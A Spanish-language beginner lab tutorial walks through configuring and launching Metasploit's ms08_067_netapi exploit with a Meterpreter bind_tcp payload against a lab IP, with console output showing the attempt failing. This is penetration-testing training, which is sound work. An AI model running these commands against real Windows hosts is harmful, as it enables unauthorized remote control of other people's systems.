Usar una Carga Útil de Bind Shell en Metasploit

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderá los pasos fundamentales para usar una carga útil (payload) de bind shell en el Metasploit Framework. Metasploit es una potente herramienta de pruebas de penetración que permite a los profesionales de seguridad encontrar, explotar y validar vulnerabilidades.

Una "carga útil" (payload) en Metasploit es el código que se ejecuta en el sistema objetivo después de que una vulnerabilidad ha sido explotada con éxito. Una carga útil de "bind shell" es un tipo específico que abre un puerto de escucha en la máquina objetivo. El atacante se conecta entonces a este puerto para obtener un shell de comandos y controlar el sistema. Esto es diferente de un "reverse shell", donde la máquina objetivo inicia una conexión de vuelta al atacante.

A lo largo de este laboratorio, practicará el flujo de trabajo completo: iniciar Metasploit, seleccionar un exploit, configurar una carga útil de bind shell con las opciones necesarias e intentar ejecutar el exploit.

Seleccionar un módulo de exploit para un objetivo

En este paso, iniciará la consola del Metasploit Framework y seleccionará un módulo de exploit. Un exploit es un fragmento de código que aprovecha una vulnerabilidad específica en un sistema. Para este laboratorio, utilizaremos un exploit conocido con fines de demostración.

Primero, abra su terminal e inicie la consola de Metasploit. Usaremos la bandera -q para el modo "quiet" (silencioso) para omitir el banner y comenzar más rápido.

msfconsole -q

Una vez que la consola se cargue, su prompt cambiará a msf6 >. Ahora, necesita seleccionar un exploit. Utilizaremos el exploit ms08_067_netapi, que se dirige a una vulnerabilidad en el servicio de Windows Server.

Use el comando use para cargar el módulo de exploit:

use exploit/windows/smb/ms08_067_netapi

Después de ejecutar el comando, verá que su prompt cambia para reflejar el módulo de exploit actualmente activo.

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

Observe que Metasploit ha seleccionado por defecto una carga útil (payload) reverse_tcp. Cambiaremos esto en el siguiente paso.

Establecer la carga útil a windows/meterpreter/bind_tcp

En este paso, cambiará la carga útil predeterminada a una carga útil de bind shell. Como se mencionó en la introducción, una carga útil de bind abrirá un puerto en el sistema objetivo, esperando que el atacante se conecte.

Utilizaremos windows/meterpreter/bind_tcp. Esta carga útil no solo le proporciona un shell, sino una sesión de Meterpreter, que es una carga útil avanzada y rica en funciones que ofrece un mayor control sobre el sistema objetivo.

Dentro del prompt de msfconsole, use el comando set payload para especificar la nueva carga útil:

set payload windows/meterpreter/bind_tcp

Metasploit confirmará el cambio.

msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

Ahora ha configurado con éxito el exploit para usar una carga útil de Meterpreter de tipo bind.

Establecer la opción RHOSTS para el exploit

En este paso, debe especificar el objetivo de su exploit. En Metasploit, la dirección del objetivo se establece utilizando la opción RHOSTS (Remote Hosts - Hosts Remotos).

Debe indicar a Metasploit qué máquina atacar. En un escenario del mundo real, habría descubierto la dirección IP de una máquina vulnerable a través de reconocimiento. Para este laboratorio, utilizaremos una dirección IP de marcador de posición.

Use el comando set para configurar la opción RHOSTS. Vamos a establecerla en 172.17.0.2, que es una dirección IP común para un contenedor en una red bridge de Docker.

set RHOSTS 172.17.0.2

La consola confirmará que la opción RHOSTS se ha establecido.

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2

Ahora Metasploit sabe a dónde enviar el exploit.

Establecer la opción LPORT para la carga útil en el objetivo

En este paso, configurará el puerto de escucha para la bind shell. Con una carga útil de bind, la opción LPORT (Local Port - Puerto Local) especifica el puerto TCP que la carga útil abrirá en la máquina objetivo. Este es un concepto crucial: está definiendo el puerto al que se conectará después de que el exploit tenga éxito.

Utilizaremos el puerto común 4444 para este propósito.

Use el comando set para configurar la opción LPORT:

set LPORT 4444

La consola confirmará la configuración.

msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 4444
LPORT => 4444

Para asegurarnos de que todas nuestras opciones estén configuradas correctamente, puede usar el comando show options para revisar la configuración tanto del exploit como de la carga útil.

show options

Debería ver una tabla de salida donde RHOSTS y LPORT estén configurados correctamente con los valores que proporcionó.

...
Payload options (windows/meterpreter/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT  4444             yes       The listen port
   RHOST  172.17.0.2       no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting
...

Ejecutar el exploit y conectarse al puerto de escucha

En este paso, con todas las opciones configuradas, lanzará el ataque. El comando exploit (o su alias, run) indica a Metasploit que envíe el exploit y la carga útil al objetivo.

Ahora, ejecute el exploit:

exploit

Nota Importante: En este entorno de laboratorio, no hay una máquina Windows vulnerable en la dirección 172.17.0.2. Por lo tanto, el exploit fallará. El propósito de este paso es comprender el comando y observar el proceso. En una prueba de penetración real, si el objetivo fuera vulnerable, este comando crearía una sesión.

Verá que Metasploit intenta conectarse, pero finalmente se agotará el tiempo de espera. La salida se verá algo así:

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started bind TCP handler against 172.17.0.2:4444
[*] 172.17.0.2:445 - Automatically detecting the target...
[*] 172.17.0.2:445 - Fingerprint: Unknown
[-] 172.17.0.2:445 - The target is not exploitable.
[*] Exploit completed, but no session was created.

Esta salida es la esperada. Confirma que Metasploit ejecutó el exploit, pero no se estableció ninguna sesión porque el objetivo no era vulnerable o no era accesible. Ha completado con éxito el flujo de trabajo para usar una carga útil de bind shell.

Para salir de la consola de Metasploit, escriba exit:

exit

Resumen

En este laboratorio, ha aprendido el proceso esencial de configuración y uso de una carga útil de bind shell dentro del Metasploit Framework.

Ha practicado el flujo de trabajo principal:

  1. Iniciar la consola de Metasploit (msfconsole).
  2. Seleccionar un módulo de exploit con el comando use.
  3. Establecer una carga útil específica con set payload.
  4. Configurar opciones específicas del objetivo como RHOSTS (la IP del objetivo) y LPORT (el puerto de escucha en el objetivo).
  5. Ejecutar el ataque con el comando exploit.

Lo más importante es que ahora comprende la característica clave de una bind shell: abre un listener en el sistema objetivo, lo que requiere que el atacante se conecte a él. Este conocimiento fundamental es crítico para realizar pruebas de penetración y comprender diferentes métodos para obtener acceso remoto.